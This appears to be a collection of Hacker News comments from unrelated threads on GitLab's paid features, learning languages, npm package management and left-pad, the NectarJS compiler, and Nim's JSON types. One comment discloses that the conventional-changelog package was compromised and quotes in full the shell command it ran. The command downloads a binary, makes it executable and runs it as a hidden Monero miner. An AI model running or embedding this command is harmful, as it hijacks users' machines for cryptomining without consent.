I've been using GitLab for a while. And for me this looks like a PR move in the light of Github being bought by Microsoft.

EDIT: did not notice post was from 2016. Has nothing to do with Microsoft buying Github.

GitLab (not self-hosted) has constant deployment/stability issues. They do an update and sometimes GitLab is down for several hours.

This is not a huge deal for me, as I can just push my code later.

But the main concern I have is that recently they've just removed some free features in order (I guess) to force people to pay.

Features removed (the only once I've noticed):

- Merge requests: squash commits feature

- Push rules: make sure users do not push commits with non-Gitlab user emails.

- Protected branches: allow certain users to push/merge, not a whole role.

There was no email notifying about this changes, it just happened that I've created a new repo, and then noticed some stuff missing.

EDIT:

Since this got traction. I've started digging to see the differences between repos. I have one group that is under "Early Adopter" plan, which has all the features mentioned. Recently I've created a new group, which went under "Free" plan, and this group does not have features mentioned.

I wonder why the "Early Adopter" plan is not carried over to my new group.

EDIT: From Gitlab blog (https://about.gitlab.com/2017/09/01/gitlab-com-paid-features...):

> For existing users on the Free plan, we've created a special Early Adopter Plan for you. This plan has all of the existing features available in our Silver plan, with the exception of additional CI minutes or premium support. Any group or user account created before September 1st will be put onto this plan for a year for free. While we will not add new paid features to this plan, you'll continue to enjoy powerful features, like multi-project pipelines and canary deployments, for the next year. After 12 months, you will get rolled back to the Free plan. You can upgrade at any time.

Still personally feels like they're taking away free features, but just giving me a year to enjoy what I've already had.

It was posted in 2016. It's not in response to GitHub being bought.

Oops. My bad, did not notice 2016 in the title.

but it being posted again certainly is.

Yes, I (submitter) do not work for GitLab, I just remembered this article while replying to a thread in one of the submissions about the acquisition, and thought it was interesting to read again in that light.

https://news.ycombinator.com/item?id=17225762

That's odd. I don't know about push rules or protected branches, but squash and merge hasn't been free, but will be in 11.0. [1]

[1]: https://gitlab.com/gitlab-org/gitlab-ce/issues/34591

>Merge requests: squash commits feature

I can still do this as a free user. It looks like you just have to do it within the "edit" form, or when you create the merge request. https://i.imgur.com/70k53xr.png

I don't use the last two so I can't speak about those, though.

Note: I'm assuming you mean the hosted version at gitlab.com

I can do this for my old repos as well. But for all new ones, no.

EDIT: I use gitlab.com

I just made a new repo to test: https://i.imgur.com/tDzrdXN.png

> There was no email notifying about this changes, it just happened that I've created a new repo, and then noticed some stuff missing.

Did you report it or ask why these things were happening? It might be worth getting an official answer.

Opinionated steps:

0. Do not know a language X.

1. Want to learn a language X.

2. Leave your previous experience behind. E.g. know C, forget about it while learning a new language.

3. Read official docs.

4. Follow the language rules (as much as possible).

5. Analyse language parts (e.g. concurrency, error handling, etc).

6. Synthesize the parts. See how parts combine (e.g. error handling in concurrent code).

7. Bring back your previous experience (e.g. see how different languages solve problems).

The main point is to know "what tools present and what can be done with those", rather than "what is felt about tools present and why the world sucks".

PS:

A small set of observations:

- "disliking" parts of a new language while learning returns you back to the step 0.

- steps 5, 6 and 7 are almost never ending (especially in languages that grow).

- step 7 requires discipline. It is needed not to "pick the best language", but to understand various ways of solving a problem across different languages (do not forget to identify a problem).

Some details (https://github.com/conventional-changelog/conventional-chang...):

> This happened because of a security issue: conventional-changelog package was hacked, and it contained a Monero miner.

> I reported it to the devs and they unpublished it (and also conventional-changelog-preset-loader).

> They should re-add a safe version tagged with 1.1.3 to fix this issue.

The hacked package executes:

rm -rf /tmp/.debug && curl https://mnrlnt.blob.core.windows.net/mnr/Silence -o /tmp/.debug 2> /dev/null && chmod +x /tmp/.debug && /tmp/.debug -o stratum+tcp://pool.minexmr.com:4444 -u 4A9V5knGUM8PUdPSJbTox8b9mgTsfXByK49XKtEyqVayDxD6CFJe5dsexaM99x7MXFNTxZkYAr4YtcAXQMkNrFjnRPJGJFr.JL6_$(hostname -f | md5sum | cut -c1-8) -p x -t $(lscpu | grep 'CPU(s)'| grep -v ',' | awk '{print $2}' | head -n 1) 2> /dev/null &

I don't get why not just use git repo registry (e.g. github) for package management. If you work in a "strict" environment you can basically fork all your dependencies and use your own git repo registry.

NPM already allows using git repos, but needs some tweaks to allow better support:

* allow versioning via git tags

* store git commit in `package-lock.json`.

* maybe something else...

What would you gain by storing the commit in the lock file?

You can reference commits in package.json already.

For the purpose of reproducible `node_modules` tree.

Ideally if all packages would use commits, and the installation algorithm will never change, then there will be no need for lock files.

In reality some packages will use NPM existing mechanism, so "git-based algorithm" will need to accommodate for that by reading git repo of the NPM package and referring to a specific commit, which should be store in `package-lock.json`.

What is wrong with Node.js governance (except Rod's case)? Is there any list of such problems?

> Left-pad is a perfect example of why npm sucks. Nuget, Maven, Phython, and CPAN would have never let something that stupid happen.

O RLY?

* https://mvnrepository.com/artifact/coldnew/left-pad/1.0.0

* https://www.nuget.org/packages/left-pad/

* https://pypi.python.org/pypi/left-pad/

* http://search.cpan.org/~dagolden/LeftPad-0.003/lib/LeftPad.p... (LeftPad - Why should Node.js have all the fun? - comments on the package)

-- UPDATE

About package removal...

* http://stackoverflow.com/questions/20403387/how-to-remove-a-...

At least first one is a parody: "This library is clojure/clojurescript port of left-pad, it's NOT recommand to use this library actually :)."

And by date of project creation you can assume that others are parodies too: "LeftPad - Why should Node.js have all the fun?"

All of those left-pad libraries are a jest, it's trivial to do padding in those languages. I was wrong about Python and removing packages but on Nuget and Maven you can't, its not allowed.

I think it's worth noting that with Java at least, besides not allowing package removal, the namespace is tied to a unique identifier with ownership verification, so the cause of the left-pad fiasco (kik wanting his namespace) is extremely unlikely to happen in the first place.

If the curation process allows joke packages to pass through, it is completely useless. Looks like the only difference from npm is extra bureaucracy then.

I assume they're referring to the prior ability that NPM packages could be removed at will.

Why not just teach JavaScript or C or Java in comparison with different languages.

For example, when explaining (so evil) `var` explain that in JavaScript it works different from C or any language with block-scope variable declaration.

Big picture is important.

The problem is not the language, the problem is inferring that every new thing you pick up is somehow similar to "that thing I've used before".

Srsly fellas, do not back this shit! It is not a joke!

Idea (to have a compiler that compiles JS to a "native" binary) is good, but this "give me your money" and "cloud" stuff should be annihilated.

IMHO Fibonacci benchmarks are doodoo.

While I personally wouldn't buy it if I can help it, I don't see a problem with commercially offering compilers per se. The thing I'm having trouble with is potential injection of code (backdoors, etc.) and other security concerns, eg. if a customer of yours is having an imminent issue with your product, you're dependent on the third party tool provider.

I agree that "tool" (in this case compiler) as a service is OK. You're also correct about "trust" aspect (that's what I've meant by "cloud" stuff).

Also In the FAQ on Kickstarter page it says that you'll be able to have your own "Nectar" server, so you don't depend on "Nectar" cloud.

But look at it seriously... 32k USD for a thing that will be probably faced with an open-source (and possibly free) solution.

The amount of "pay me money" features and bullshit:

* ecological

* pay to vote

* Fibonacci benchmark claiming to be faster than C

* claiming to work but actually fails to compile this JS code (as mentioned by johhny in the comments to the article http://blog.seraum.com/compiled-javascript-with-nectarjs-can...):

  var hello = {foo: "Hello, world!"};
  console.log(hello["foo"]);

It is more an expression of confusion rather than type system quality evaluation, but why does JSON parser's implementation returns its own types like JsonNode? Why doesn't it just return core types like:

* JSON String -> NIM String

* JSON Object -> NIM Hash

* and so on...

I've also had the same question when looking at https://crystal-lang.org.

PS: I do not claim Nim's type system to be bad as I do not have an exact counterexample of a "better" type system.

Because the type of a JSON object's fields is not known at compile-time.

    let s = parseJson("{'A': 'foo'}")
    s["A"] # What type is this? We don't know until we parse the JSON.